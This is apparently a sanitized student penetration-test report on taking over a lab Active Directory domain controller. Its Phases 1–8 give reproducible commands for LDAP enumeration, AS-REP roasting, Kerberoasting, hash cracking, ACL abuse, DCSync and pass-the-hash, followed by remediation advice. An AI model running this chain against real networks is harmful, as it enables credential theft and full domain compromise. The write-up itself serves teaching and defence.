
Active Directory Penetration Testing Report

Attacker Platform: Kali Linux VM

Target: 1 Host

Flag Captured: 2/2

NOTE: This report has been sanitized for public sharing. All IP addresses, hostnames, credentials, and NTLM hashes have been replaced with placeholders.

Placeholder Reference

Placeholder	Represents
<ATTACKER-ETH0>	Attacker machine eth0 IP (172.x.x.x/24)
<ATTACKER-ETH1>	Attacker machine eth1 IP — same subnet as target
<TARGET-IP>	Target Domain Controller IP address
<TARGET-HOSTNAME>	Target machine hostname
<DOMAIN>	Active Directory domain name
<DC-FQDN>	Fully qualified domain name of the DC
<USER1>	Compromised domain user — obtained via AS-REP Roasting
<USER1-PASS>	Plaintext password of USER1
<SVC-ACCOUNT>	Kerberoastable service account
<SVC-PASS>	Plaintext password of SVC-ACCOUNT
<USER3>	User whose password was exposed in plaintext on SMB share
<DEFAULT-PASS>	Default domain onboarding password found in plaintext
<ADMIN-HASH>	Administrator NTLM hash — extracted via DCSync
<MAC-ADDRESS>	Target NIC MAC address

Executive Summary

This report documents a penetration test conducted against a Windows Server Active Directory environment operating the domain <DOMAIN> at IP address <TARGET-IP>. The engagement simulated a black-box external attacker with initial network access. No prior credentials were provided.

The assessment revealed critical vulnerabilities across multiple attack vectors, enabling complete domain compromise. Starting from unauthenticated network access, the tester escalated to Domain Administrator within a single attack chain using publicly available tooling. Two flags were retrieved from protected locations, confirming full system access.

Key findings include: anonymous LDAP enumeration exposing the full user directory; Kerberos AS-REP Roasting yielding a crackable hash for <USER1>; Kerberoastable service accounts; misconfigured group permissions allowing unauthorised group membership modification; and DCSync rights leading to administrator password hash extraction.

Finding	Severity	Impact
Anonymous LDAP Enumeration	High	Full user directory disclosed to unauthenticated attacker
AS-REP Roasting (<USER1>)	Critical	Domain credential compromise via offline hash crack
Kerberoastable Service Accounts	High	Service account credential theft
GenericAll / AddMember ACL Abuse	Critical	Privilege escalation to DCSync-capable group
DCSync — Hash Extraction	Critical	All domain NTLM hashes extracted
Pass-the-Hash via WinRM	Critical	Interactive Administrator shell obtained

2. Host Analysis

The ip a command confirmed that the attacker machine had two active network interfaces: eth0 assigned the IP address <ATTACKER-ETH0>/24 and eth1 assigned <ATTACKER-ETH1>/24, placing the attacker directly on the target subnet and establishing network connectivity to the target (Figure 1A, Appendix A). A ping sweep using nmap -sn <TARGET-SUBNET>/24 then identified two active hosts on the subnet: <TARGET-IP> (MAC address <MAC-ADDRESS>, Microsoft) and <ATTACKER-ETH1>, confirming <TARGET-IP> as a live target (Figure 2A, Appendix A).

A TCP connect scan using nmap -sT -Pn <TARGET-IP> revealed 13 open TCP ports: port 53 (domain), port 88 (kerberos-sec), port 135 (msrpc), port 139 (netbios-ssn), port 389 (ldap), port 445 (microsoft-ds), port 464 (kpasswd5), port 593 (http-rpc-epmap), port 636 (ldapssl), ports 3268 and 3269 (globalcatLDAP and globalcatLDAPssl), port 5357 (wsdapi), and port 5985 (wsman) (Figure 3A, Appendix A).

A version and OS detection scan using nmap -sV -O -Pn <TARGET-IP> confirmed the target is running Microsoft Windows Server 2022, with hostname <TARGET-HOSTNAME> and domain <DOMAIN>. The device type was identified as general purpose, with a network distance of 1 hop and MAC address <MAC-ADDRESS> (Figure 4A, Appendix A). The combination of Kerberos, LDAP, Global Catalog, SMB, and WinRM services strongly indicates the target is a Windows Active Directory Domain Controller.

3. Attack Execution — Step-by-Step Demonstration

This section provides a fully reproducible account of the attack chain used to compromise the target domain. The host was successfully exploited due to a combination of vulnerabilities including anonymous LDAP binding, disabled Kerberos pre-authentication, weak service account passwords, misconfigured ACL permissions, and unrestricted WinRM access. Together, these weaknesses enabled full domain compromise from an unauthenticated starting position.

Phase 1 — Unauthenticated LDAP Enumeration

LDAP (port 389) accepted anonymous bind connections. This was abused to enumerate the domain structure and extract all user account names without credentials.

Step 1A — Identify Domain Naming Context

```
ldapsearch -H ldap://<TARGET-IP> -x -s base namingcontexts
```

Result: Domain naming context confirmed as dc=<DOMAIN-PART1>,dc=<DOMAIN-PART2> (Figure 5A, Appendix A).

Step 1B — Dump LDAP and Search for Plaintext Passwords

```
ldapsearch -x -H ldap://<TARGET-IP> -b "dc=<DOMAIN>" > ldapinfo  
grep -i pass ldapinfo
```

Result: Full directory attributes retrieved anonymously. Password-related attributes searched for exposed credentials.

Step 1C — Extract User Account Names

```
ldapsearch -x -H ldap://<TARGET-IP> -b "dc=<DOMAIN>" "objectClass=user" | grep -i  
samaccountname | sed 's/sAMAccountName: //g' > users.txt  
cat users.txt
```

Result: Full list of domain user accounts saved to users.txt (Figure 6A, Appendix A).

Phase 2 — AS-REP Roasting

AS-REP Roasting targets accounts with Kerberos pre-authentication disabled. The KDC returns an encrypted AS-REP blob that can be cracked offline without any prior credentials.

Step 2A — Request AS-REP Hashes for All Users

```
impacket-GetNPUsers -usersfile users.txt -no-pass -dc-ip <TARGET-IP> <DOMAIN>/
```

Result:

Step 2B — Crack the Hash

```
grep "krb5asrep" asrep_hashes.txt > user1.hash  
john --wordlist=/usr/share/wordlists/john.lst user1.hash
```

Result:

Phase 3 — Authenticated Domain Reconnaissance

With valid credentials, a structured domain dump was performed:

```
ldapdomaindump -u '<DOMAIN>\<USER1>' -p <USER1-PASS> -o ldapoutput <TARGET-IP>  
cd ldapoutput && cat domain_computers.grep  
grep -i password domain_users.grep
```

Result: Full domain structure exported — group memberships, computer accounts, user attributes, and any plaintext passwords in user fields.

Phase 4 — Kerberoasting

Kerberoasting requests Kerberos TGS tickets for SPN-registered service accounts. These tickets are encrypted with the service account password and can be cracked offline.

Step 4A — Enumerate SPN Accounts

```
impacket-GetUserSPNs -dc-ip <TARGET-IP> '<DOMAIN>/<USER1>:<USER1-PASS>'
```

Result: Service accounts with SPNs identified.

Step 4B — Request TGS Tickets (Hashes)

```
impacket-GetUserSPNs -dc-ip <TARGET-IP> '<DOMAIN>/<USER1>:<USER1-PASS>' -request
```

Result: TGS hashes returned. Saved to hash.txt (Figure 7A, Appendix A).

Step 4C — Crack Kerberos Hashes

```
hashcat -m 13100 --force hash.txt /usr/share/wordlists/john.lst
```

Result: Service account password(s) cracked.

Phase 5 — SMB Share Enumeration and Flag 1

SMB shares were enumerated and the custom share ByersShed was found to contain Flag 1.

```
netexec smb <TARGET-IP> -u <USER1> -p '<USER1-PASS>' --pass-pol  
smbclient -L //<TARGET-IP> -U '<DOMAIN>\<USER1>%<USER1-PASS>'  
smbclient //<TARGET-IP>/ByersShed -U '<DOMAIN>\<USER1>%<USER1-PASS>'  
smb: \> recurse on  
smb: \> ls  
smb: \> get flag.txt  
smb: \> exit  
cat flag.txt
```

Result: Flag 1 retrieved from ByersShed share (Figure 8A, Appendix A).

Phase 6 — ACL Abuse (Privilege Escalation)

BloodHound revealed that <USER1> is a member of HawkinsMiddleSchool, which holds GenericAll / AddMember over HawkinsPoliceDept. HawkinsPoliceDept holds DCSync rights. This ACL chain was exploited to escalate privileges:

Step 6A — Add <USER1> to HawkinsPoliceDept

```
net rpc group addmem "HawkinsPoliceDept" "<USER1>" \  
-U "<DOMAIN>/<USER1>%<USER1-PASS>" \  
-S <TARGET-IP>
```

Step 6B — Verify Membership

```
net rpc group members "HawkinsPoliceDept" -U "<DOMAIN>/" "<USER1>" "<USER1-PASS>" -  
S <TARGET-IP>
```

Result: <USER1> confirmed as member of HawkinsPoliceDept, inheriting DCSync rights (Figure 9A, Appendix A).

Phase 7 — DCSync Attack

With DCSync privileges, impacket-secretsdump replicated the domain password database as a legitimate DC would, extracting all NTLM hashes without touching LSASS on the target:

```
impacket-secretsdump '<DOMAIN>/<USER1>:<USER1-PASS>'@<TARGET-IP>
```

Subtask 3-(1): Answers to Required Questions

Each question is answered with supporting commands and screenshot references. 5 marks each.

Question 1: SMB Shares on the Active Directory Server

SMB shares were enumerated on port 445 using both Nmap scripts and smbclient with valid credentials. The following shares were identified:

Commands used:

```
nmap --script smb-enum-shares -p 445 <TARGET-IP>  
smbclient -L //<TARGET-IP> -U '<DOMAIN>\<USER1>%<USER1-PASS>'
```

Share Name	Type	Contents / Notes
ADMIN\$	Disk	Remote Admin (standard Windows share)
C\$	Disk	Default share (standard Windows share)
IPC\$	IPC	Remote IPC (standard Windows share)
SYSVOL	Disk	Logon server share (standard AD share)
NETLOGON	Disk	Logon server share (standard AD share)
ByersShed	Disk	Custom share — contained flag.txt (Flag 1)
HawkinsPD	Disk	Custom share — contained IT-Onboarding.txt exposing <DEFAULT-PASS>
Starcourt	Disk	Custom share — contained security-roster.txt with internal patrol locations

Eight shares were identified in total. ADMIN\$, C\$, IPC\$, SYSVOL, and NETLOGON are standard Windows/AD shares. The three custom shares — ByersShed, HawkinsPD, and Starcourt — each contained sensitive files: ByersShed held flag.txt (Flag 1), HawkinsPD held IT-Onboarding.txt exposing the default domain password <DEFAULT-PASS>, and Starcourt held security-roster.txt containing internal after-hours patrol locations. The SMB1 warning during enumeration is non-critical; all shares were successfully enumerated via SMB2.

Question 2: Active Directory Structure and Notable Security Groups

The Active Directory environment was enumerated using ldapsearch, ldapdomaindump, and BloodHound. Enumeration confirmed that <DOMAIN> is a single-domain forest with one Domain Controller, <DC-FQDN> (<TARGET-IP>). Using command:

```
bloodhound-ce-python -c all -d <DOMAIN> -u <USER1> -p <USER1-PASS> -ns <TARGET-IP>  
-dc <DC-FQDN> --zip
```

The Domain Controller was identified as a Windows Server 2022 system based on exposed Active Directory services including Kerberos, LDAP, DNS, SMB, and Global Catalog ports. BloodHound analysis identified several privileged and security-sensitive groups within the domain. HawkinsPoliceDept possessed DCSync rights, allowing any member to extract all domain password hashes. HawkinsMiddleSchool held GenericAll and AddMember permissions over HawkinsPoliceDept, enabling privilege escalation through group membership abuse. The Administrators and Enterprise Admins groups also held elevated rights over the domain object. Domain Admins granted full domain control, while Domain Controllers contained the legitimate DC replication account. Domain Users provided the baseline authenticated access used throughout the engagement. A detailed breakdown of all notable security groups and their privileges is provided in (Table 1B, Appendix B).

Critical ACL Attack Path (identified via BloodHound):

<USER1>@<DOMAIN>

- (MemberOf) → HAWKINSMIDDLESCHOOL@<DOMAIN>
- (AddMember + GenericAll over) → HAWKINSPOLICEDEPT@<DOMAIN>
- (<USER1> self-adds to HawkinsPoliceDept)
- (inherits DCSync rights)
- Full domain compromise of <DOMAIN>

Table 1B — Notable Security Groups

Group	Privilege Level	Security Notes
HawkinsPoliceDept	CRITICAL	Holds DCSync rights (DS-Replication-Get-Changes, DS-Replication-Get-Changes-All). Any member can dump all domain password hashes.
HawkinsMiddleSchool	HIGH	Holds GenericAll / AddMember over HawkinsPoliceDept. <USER1> membership enabled privilege escalation to DCSync.
Administrators	HIGH	Holds AllExtendedRights + DCSync over the domain.
Enterprise Admins	HIGH	Holds ExtendedRights over <DOMAIN> domain object.
Domain Admins	HIGH	Built-in privileged group. Full control of domain.
Domain Controllers	MEDIUM	Contains computer account <TARGET-HOSTNAME>. Legitimate DC replication accounts.
Domain Users	LOW	Default group for all domain accounts. Used for SMB/Kerberos access to SYSVOL, NETLOGON, and authenticated shares.

Question 3: Three Accounts with Weak or Exposed Passwords

Three domain accounts were identified using different exploitation techniques, each demonstrating a distinct category of password weakness:

The first compromised account was <USER1>, whose password <USER1-PASS> was obtained via AS-REP Roasting. This account had Kerberos pre-authentication disabled, allowing a hash to be extracted without any prior credentials and cracked offline (Figure 3B, Appendix B).

The second account was <SVC-ACCOUNT>, a service account with a registered SPN. Its password <SVC-PASS> was retrieved by requesting a Kerberos TGS ticket and cracking the resulting hash offline using Hashcat (Figure 4B, Appendix B).

The third account was <USER3>, whose password <DEFAULT-PASS> was found in plaintext within IT-Onboarding.txt, a file accessible from the HawkinsPD SMB share. This account was using the company's default onboarding password without any change (Figure 5B, Appendix B).

Subtask 3-(2): Administrator Access

Evidence of successfully gaining Administrator-level access to the target VM via Pass-the-Hash using evil-winrm.

Phase 8 — Pass-the-Hash Attack via evil-winrm

Prerequisite: Administrator NTLM hash obtained via DCSync (Phase 7).

Hash: <ADMIN-HASH>

Pass-the-Hash bypasses the need for a plaintext password by authenticating directly with the NTLM hash over WinRM (port 5985). No password cracking is required.

Step 8A — Connect as Administrator via evil-winrm

The NTLM hash was passed directly to evil-winrm to open an interactive PowerShell session as Administrator:

```
evil-winrm -i <TARGET-IP> -u Administrator -H <ADMIN-HASH>
```

Expected Result: An evil-winrm prompt is returned as *Evil-WinRM* PS C:\Users\Administrator\Documents>, confirming Domain Administrator access (Figure 1C, Appendix C).

Step 8B — Confirm Administrator Identity

Administrator identity and privileges were verified inside the shell:

```
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami /priv
*Evil-WinRM* PS C:\Users\Administrator\Documents> net user administrator
```

Result: Output confirms hawkins\administrator with full Domain Admin privileges including SeDebugPrivilege, SeTakeOwnershipPrivilege, and membership in Administrators and Domain Admins groups (Figure 2C, Appendix C).

Step 8C — Navigate to Administrator Desktop

The Administrator's Desktop was navigated to for Flag 2 retrieval:

```
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..
*Evil-WinRM* PS C:\Users\Administrator> dir
*Evil-WinRM* PS C:\Users\Administrator> cd Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir
```

Result: Desktop directory listing shows flag.txt present.

Step 8D — Read Flag 2

```
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type flag.txt
```

Result: Flag 2 contents displayed (Figure 3C, Appendix C).

Subtask 3-(3): Flag Identification

Two flags were located and retrieved during the engagement. Each flag required a distinct privilege level to access.

Flag 1 — SMB Share (Privilege Level: Domain User)

Flag 1 was located in the custom SMB share ByersShed, accessible using the cracked credentials for <USER1>.

Attribute	Detail
File Path	//<TARGET-IP>/ByersShed/flag.txt
Access Method	smbclient with <USER1>:<USER1-PASS> credentials
Privilege Required	Standard domain user (<USER1>)
Retrieval Command	get flag.txt → cat flag.txt
Flag Content	FLAG – If the compass spins, don't follow it.

Flag 2 — Administrator Desktop (Privilege Level: Domain Administrator)

Flag 2 was located on the Administrator's Desktop, accessible only after achieving Domain Administrator access via the full DCSync → Pass-the-Hash attack chain.

Attribute	Detail
File Path	C:\Users\Administrator\Desktop\flag.txt
Access Method	evil-winrm Pass-the-Hash as Administrator
Privilege Required	Domain Administrator
Retrieval Command	type flag.txt (within evil-winrm PowerShell session)
Flag Content	FLAG – The town looks calm; the paperwork says otherwise.

4. Security Recommendations

1 — Disable Anonymous LDAP Binding (Critical)

Anonymous LDAP binding was the foundational vulnerability that initiated the entire attack chain, exposing the full user directory to an unauthenticated attacker and enabling all subsequent attacks. LDAP signing should be enforced by configuring the GPO setting Domain Controller: LDAP server signing requirements to Require signing, and null sessions eliminated by setting RestrictAnonymous = 2 (Microsoft, 2025). Remediation can be verified by running:

```
ldapsearch -x -H ldap://<TARGET-IP> -s base
```

This should return no unauthenticated directory information after remediation.

2 — Enable Kerberos Pre-Authentication on All Accounts (Critical)

Disabling pre-authentication on <USER1> allowed an unauthenticated attacker to obtain an encrypted AS-REP hash directly from the Domain Controller and crack it offline — requiring no interaction with the target account. All vulnerable accounts should be identified and remediated:

```
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true}  
Set-ADAccountControl -Identity <username> -DoesNotRequirePreAuth $false
```

A minimum password length of 15 characters should be enforced domain-wide to resist offline cracking (MITRE ATT&CK, 2020).

3 — Remove Dangerous ACL Permissions (Critical)

The GenericAll and AddMember permissions on HawkinsPoliceDept allowed a standard domain user to self-elevate to DCSync capability without any administrator interaction — a misconfiguration invisible to standard AD tooling. Excessive permissions should be audited and removed:

```
(Get-ACL 'AD:\...HawkinsPoliceDept').Access | Where-Object {$_.ActiveDirectoryRights -match 'GenericAll'}
```

Least privilege should be enforced across all security group ACLs (Axelrod, 2025). BloodHound should be re-run after remediation to confirm all attack paths are eliminated.

4 — Remove DCSync Rights from Non-DC Accounts (Critical)

Replication rights assigned to HawkinsPoliceDept granted any group member the ability to extract every NTLM hash in the domain, equivalent in impact to physical Domain Controller access. DS-Replication-Get-Changes and DS-Replication-Get-Changes-All should be revoked from all non-DC accounts immediately. Event ID 4662 should be monitored for replication property access (1131f6aa, 1131f6ad) to detect future DCSync attempts (Microsoft, 2021).

5 — Replace Service Accounts with Group Managed Service Accounts (High)

Static service account passwords enabled Kerberoasting, as any authenticated user could request TGS tickets and crack them offline. Migrating to Group Managed Service Accounts (gMSA) eliminates this risk entirely, as passwords are automatically rotated and never exposed (MITRE ATT&CK, 2020). Accounts with SPNs should be identified using:

```
Get-ADUser -Filter {ServicePrincipalName -ne '$null'} -Properties ServicePrincipalName
```

Unnecessary SPNs should be removed from all accounts.

6 — Restrict WinRM and Enable Protected Users (High)

NTLM authentication over WinRM allowed Pass-the-Hash to succeed without requiring plaintext password recovery. Privileged accounts should be added to the Protected Users group to enforce Kerberos-only authentication and prevent NTLM credential caching. WinRM access should be

restricted to authorised management hosts, and multi-factor authentication enforced for all privileged accounts (MITRE ATT&CK, 2020).

This penetration test demonstrated that the <DOMAIN> Active Directory environment was fully compromised from an unauthenticated starting position through a chain of misconfigured services and weak credentials, culminating in Domain Administrator access and the retrieval of both flags. The findings highlight that no single vulnerability was responsible for the breach; rather, the combination of anonymous LDAP binding, disabled Kerberos pre-authentication, excessive ACL permissions, and unrestricted WinRM access created an exploitable path that required only publicly available tooling to traverse. Addressing the six recommendations outlined in this report, particularly enforcing LDAP signing, enabling Kerberos pre-authentication, and removing unauthorised DCSync rights, will significantly reduce the attack surface and prevent a similar compromise of the domain.

References

Axelrod, D. (2025, November 24). ACL abuse in Active Directory. Drake Axelrod.
<https://www.drakeaxelrod.com/notes/active-directory/acl-abuse>

Microsoft. (2025, December 2). How to enable LDAP signing in Windows Server. Microsoft Learn.
<https://learn.microsoft.com/en-us/troubleshoot/windows-server/active-directory/enable-ldap-signing-in-windows-server>

Microsoft. (2021, July 9). Audit directory service access (Windows 10) — Event 4662. Microsoft Learn.
<https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4662>

MITRE ATT&CK. (2020, August 24). Steal or forge Kerberos tickets: AS-REP roasting (T1558.004).
<https://attack.mitre.org/techniques/T1558/004/>

MITRE ATT&CK. (2020, February 11). Steal or forge Kerberos tickets: Kerberoasting (T1558.003).
<https://attack.mitre.org/techniques/T1558/003/>

MITRE ATT&CK. (2020, January 30). Use alternate authentication material: Pass the hash (T1550.002). <https://attack.mitre.org/techniques/T1550/002/>
